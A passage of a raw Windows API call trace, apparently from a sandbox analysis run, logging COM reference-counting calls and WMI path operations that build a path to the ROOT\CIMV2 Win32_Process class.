Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afca0) returned 0x0 [0126.288] WbemDefPath:IUnknown:Release (This=0x1b482750) returned 0x0 [0126.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afca0) returned 0x0 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0126.289] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4827b0) returned 0x0 [0126.289] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4827b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.289] WbemDefPath:IUnknown:Release (This=0x1b4827b0) returned 0x3 [0126.289] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0126.289] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0126.289] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0126.289] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0126.289] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0126.289] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afca0) returned 0x0 [0126.289] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0126.289] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0126.289] WbemDefPath:IWbemPath:SetText (This=0x1b4afca0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0126.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0126.290] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af5e0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0126.290] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af5e0, uIndex=0x0, pszName="ROOT") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0126.290] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af5e0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4af5e0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0126.290] WbemDefPath:IWbemPath:SetClassName (This=0x1b4af5e0, Name="Win32_Process") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af5e0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af5e0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0126.290] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0126.291] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0126.291] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0126.291] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0126.291] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0126.291] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.291] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b482f10) returned 0x0 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482f10, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482f10, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af160) returned 0x0 [0126.292] WbemDefPath:IUnknown:Release (This=0x1b482f10) returned 0x0 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af160) returned 0x0 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b482c70) returned 0x0 [0126.292] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.292] WbemDefPath:IUnknown:Release (This=0x1b482c70) returned 0x3 [0126.292] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0126.292] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0126.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0126.292] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0126.292] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0126.292] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0126.293] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0126.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af160) returned 0x0 [0126.293] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0126.293] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0126.293] WbemDefPath:IWbemPath:SetText (This=0x1b4af160, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0126.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0126.293] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0126.293] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.293] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0126.293] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0126.293] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0126.293] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.294] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482a50) returned 0x0 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482a50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0126.294] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482a50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aec20) returned 0x0 [0126.294] WbemDefPath:IUnknown:Release (This=0x1b482a50) returned 0x0 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aec20) returned 0x0 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0126.294] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0126.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b482fb0) returned 0x0 [0126.294] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482fb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.294] WbemDefPath:IUnknown:Release (This=0x1b482fb0) returned 0x3 [0126.294] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0126.295] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0126.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0126.295] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0126.295] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0126.295] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0126.295] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aec20) returned 0x0 [0126.295] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0126.295] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0126.295] WbemDefPath:IWbemPath:SetText (This=0x1b4aec20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0126.295] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af160) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0126.295] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af160, uIndex=0x0, pszName="root") returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0126.295] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af160, uIndex=0x1, pszName="cimv2") returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aec20, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aec20, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0126.295] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af160, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af160, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af160, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, 